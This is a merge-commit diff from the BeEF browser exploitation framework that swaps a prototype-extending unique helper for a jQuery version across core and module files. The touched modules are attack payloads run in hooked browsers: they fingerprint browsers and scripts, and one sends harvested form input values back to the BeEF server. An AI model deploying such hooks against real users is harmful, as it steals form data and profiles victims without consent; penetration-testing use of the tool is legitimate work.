Merge pull request beefproject#1958 from beefproject/replace_array_prototype_unique

Replaced Array.prototype.unique with a cleaner jQuery equivalent

Author: jcrew99

core/main/client/browser.js

@@ -3917,12 +3917,12 @@ beef.browser = {
     getPlugins: function () {
 
         var results;
-        Array.prototype.unique = function () {
-            var o = {}, i, l = this.length, r = [];
-            for (i = 0; i < l; i += 1) o[this[i]] = this[i];
-            for (i in o) r.push(o[i]);
-            return r;
-        };
+
+        function unique(array) {
+          return $.grep(array, function(el, index) {
+            return index === $.inArray(el, array);
+          });
+        }
 
         // Things lacking navigator.plugins
         if (!navigator.plugins) 
@@ -3941,8 +3941,8 @@ beef.browser = {
                 // Sometimes store the version in description (Real, Adobe)
                 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
             }
-            results = results.unique().toString();
-
+            results = unique(results).toString();
+            
             // All browsers that don't support navigator.plugins
         } else {
             results = new Array();

docs/browser.js.html

@@ -3944,12 +3944,12 @@ <h1 class="page-title">Source: browser.js</h1>
     getPlugins: function () {
 
         var results;
-        Array.prototype.unique = function () {
-            var o = {}, i, l = this.length, r = [];
-            for (i = 0; i &lt; l; i += 1) o[this[i]] = this[i];
-            for (i in o) r.push(o[i]);
-            return r;
-        };
+
+        function unique(array) {
+          return $.grep(array, function(el, index) {
+            return index === $.inArray(el, array);
+          });
+        }
 
         // Things lacking navigator.plugins
         if (!navigator.plugins) 
@@ -3968,7 +3968,7 @@ <h1 class="page-title">Source: browser.js</h1>
                 // Sometimes store the version in description (Real, Adobe)
                 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
             }
-            results = results.unique().toString();
+            results = unique(results).toString();
 
             // All browsers that don't support navigator.plugins
         } else {

extensions/events/handler.rb

@@ -42,7 +42,7 @@ def setup()
 
       # push events to logger
         logger = BeEF::Core::Logger.instance
-        events.each do |key,value|
+        events.each do |value|
             logger.register('Event', parse(value), zombie.id)
         end
     end

modules/browser/browser_fingerprinting/command.js

@@ -10,17 +10,16 @@ beef.execute(function() {
 	var browser_version = new Array;
 	var dom = document.createElement('b');
 
-	Array.prototype.unique = function() {
-		var o = {}, i, l = this.length, r = [];
-		for(i=0; i<l;i+=1) o[this[i]] = this[i];
-		for(i in o) r.push(o[i]);
-		return r;
-	};
+  function unique(array) {
+    return $.grep(array, function(el, index) {
+      return index === $.inArray(el, array);
+    });
+  }
 
 	parse_browser_details = function() {
 		if (!browser_type.length) browser_type[0] = "unknown";
 		if (!browser_version.length) browser_version[0] = "unknown";
-		beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+browser_type.unique()+"&browser_version="+browser_version.unique());
+    beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+unique(browser_type)+"&browser_version="+unique(browser_version));
 	};
 
 	// Browser fingerprints // in the form of: "URI","Browser","version(s)"

modules/browser/hooked_domain/ajax_fingerprint/command.js

@@ -11,12 +11,12 @@ beef.execute(function() {
      var results = [];
      var urls = "";  
 
-     Array.prototype.unique = function() {
-         var o = {}, i, l = this.length, r = [];
-         for(i=0; i<l;i+=1) o[this[i]] = this[i];
-         for(i in o) r.push(o[i]);
-         return r;
-     };
+    function unique(array) {
+      return $.grep(array, function(el, index) {
+        return index === $.inArray(el, array);
+      });
+    }
+
      // Fingerprints of javascript /ajax libraries . Library Name: Array of common file names 
 
      var fingerprints = {
@@ -69,7 +69,7 @@ beef.execute(function() {
                 }
             }
             if(results.length >0){
-                urls=results.unique().join('||');
+                urls=unique(results).join('||');
                 beef.net.send("<%= @command_url %>", <%=  @command_id %>, "script_urls="+urls);
             }
             else{

modules/browser/hooked_domain/get_form_values/command.js

@@ -25,7 +25,7 @@ beef.execute(function() {
 
 	// return input field info
 	if (input_values.length) {
-		beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(input_values.unique()));
+    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values)));
 	// return if no input fields were found
 	} else {
 		beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location);